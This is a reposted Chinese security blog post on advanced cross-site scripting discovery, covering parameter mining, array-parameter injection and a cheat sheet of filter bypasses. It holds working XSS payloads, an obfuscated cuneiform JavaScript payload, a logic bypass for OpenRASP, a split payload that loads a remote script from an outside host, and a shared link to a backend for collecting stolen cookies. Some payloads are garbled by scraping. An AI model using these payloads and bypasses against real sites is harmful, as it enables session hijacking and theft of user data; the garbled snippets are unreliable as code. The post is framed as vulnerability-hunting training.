XSS高级挖掘手段

admin 2022年4月22日15:18:49评论157 views字数 3075阅读10分15秒阅读模式

原创文章web漏洞渗透技术

原创声明:转载本文请标注出处和作者,望尊重作者劳动成果!感谢!

前言:前单位的巨佬蔡师傅开技术讲座,将他压箱底的XSS挖掘手段掏了出来,其中不乏能绕过阿里云云盾的高级利用手法,可谓是让小老弟开了眼。接下来复盘一下大佬的精彩操作,干货满满,自备瓜子板凳。

XSS高级挖掘手段

一、什么是XSS?

    XSS全称是cross site scripting,中文译为跨站脚本攻击。XSS有什么作用呢?它做为一种攻击方式,主要是用来窃取信息用的。附带一个快速入门xss的网站:http://xsst.sinaapp.com/example/1-1.php。该在线网址可以快速带你了解xss的攻击过程和利用方法,如何利用xss窃取用户信息,组合其他漏洞让其价值得到进一步提升。

二、XSS的挖掘与绕过

2.1 参数挖掘

以微信公众号为例子,挖掘可能潜在的XSS

XSS高级挖掘手段    

2.1.1 拆分重组

1、复制网页内容到sublime,按Ctrl+F开启正则表达式,输入如下正则表达式:

[^()}n]var [a-z0-9-_]+(s{0,}=s{0,}[0-9'"[{]|;)

2、该正则是为了快速提取变量赋值的参数,选中 :find all

XSS高级挖掘手段

3、复制正则内容,处理一下参数,去重保留唯一值。点击菜单栏edit -- sort进行排序。查找内容为:^(.+)$[rn](^1$[rn])+替换内容为:1rn。然后点全部替换,然后点击菜单栏edit -- sort即可。行头加上&

XSS高级挖掘手段

4、共有181个参数,参数赋值xxxxxxx

XSS高级挖掘手段

5、取消换行。选中需要操作的行,Ctrl + H 调出替换栏,在 Find 栏中输入(同时按这三个键) Ctrl + Shift + Enter , Replace 栏不填。按Replace All ,处理完成后的数据。XSS高级挖掘手段6、将处理之后的参数放到请求包里之后发送,可以发现共有42个参数有返回值XSS高级挖掘手段7、可以尝试在这些参数中测试xss。

2.1.2 数组传参

XSS高级挖掘手段

返回包中存在value数组,构造payload:

/api/v1/dex/klines?symbol=&interval=&limit=%3Ca/&limit==%221%22on%09click=%22j%09avascript:alert%60%60%22%3E1%3C/a%3E

第一个limit先传一个标签进去,构造第二个limit为第一个标签作闭合,构造一条完整的xss语句。

2.1.3 拆分重组+数组传参(双重快乐)

XSS高级挖掘手段

数组传参有可能出现将payload拼接的情况,只会在中间加上一个,号作为分割,这时候完全可以通过构造一个可行的xss进行攻击。

XSS高级挖掘手段


三、如何Bypass XSS?

XSS高级挖掘手段


3.1 标签闭合

通过各种方式,闭合前面的语句,常规闭合

"><script>alert(1);script>

闭合大部分标签

*/-->'");>iframe>script>style>title>textarea><a>aa>#*/-->'");>iframe>script>style>title>textarea><ifram

宽字符闭合

*/-->%cf"%d5'>frame>script>style>title>textarea>

3.2 回车换行

很多时候,回车换行能绕过很多的限制

">%0D%0A<script>alert(1)</script>

3.3 标签绕过

fuzz各种标签,检查是否存在拦截或者过滤

fuzz的范围:属性内-标签内-标签外,不分先后

3.4 大小写绕过

<ScRipt>ALeRt("XSS");sCRipT>

3.5 嵌套绕过

ript>alert(/xss/);script>alert(/xss/);script>

3.6 空字符绕过

09ipt>ALeRt(/XSS/);sCRipT>

3.7 楔形文字(Lütfü Mert Ceylan)

<script>𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++], 𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀] +(𒉺.𒀃+𒇺)
[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀] +𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+'(𒀀)')()</script>

3.8 rasp历史绕过

1、标签后接单双引号:<a'/onclick=(confirm)()>click

XSS高级挖掘手段

2、构造无效标签:<abc1 onclick=confirm()>click here

XSS高级挖掘手段

3、标签名称长度大于12:<abcdefabcdefa onclick=confirm()>click here

XSS高级挖掘手段

4、程序逻辑绕过

如果请求会传递多个参数,当参数值的长度大于15,且匹配之前的标签正则<![-[A-Za-z]|<([A-Za-z]{1,12})[/x00-x20>],如果对应参数值没有在响应中出现时,变量count值会加1。当count值大于10时,openrasp会直接放行。如下例所示:

&input0=<rasp>1234567890&input1=<rasp>1234567890&input2=<rasp>1234567890&input3=<rasp>1234567890&input4=<rasp>1234567890&input5=<rasp>1234567890&input6=<rasp>1234567890&input7=<rasp>1234567890&input8=<rasp>1234567890&input9=<rasp>1234567890&input10=<rasp>1234567890&input=<script>alert(1)</script>

3.9 最短拆分

多个插入点,仅能插入小于等于n的字符串,payload较长,可以尝试拆分。

<script>z=document.write("<script src=http://me.cn/xstest></script>")eval(z)</script>

然后我们尝试将它拆成十个部分


<script>z='document'</script><script>z=z+'.write('</script><script>z=z+'"<scrip'</script><script>z=z+'t src=h'</script><script>z=z+'ttp://m'</script><script>z=z+'e.cn/xs'</script><script>z=z+'test></'</script><script>z=z+'script>'</script><script>z=z+'")'</script><script>eval(z)</script>

3.10 偏冷门手法

最短:short:<script src=//⑭.₨>

url跳转未验证协议:?url=javascript%3A//test.com/%250aalert(1)

更多的xss绕过payload及触发事件,可以在burpsite的官方xss文档中查看https://portswigger.net/web-security/cross-site-scripting/cheat-sheet?from=timeline&isappinstalled=0


最后:分享一个不错的项目,自用接受Cookies的后台。

链接:https://pan.baidu.com/s/1H34jx8mM_CTiRTd7kP1NKA
提取码:s5sp

原文始发于微信公众号(Fighter安全团队):XSS高级挖掘手段

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日15:18:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS高级挖掘手段http://cn-sec.com/archives/934554.html

发表评论

匿名网友 填写信息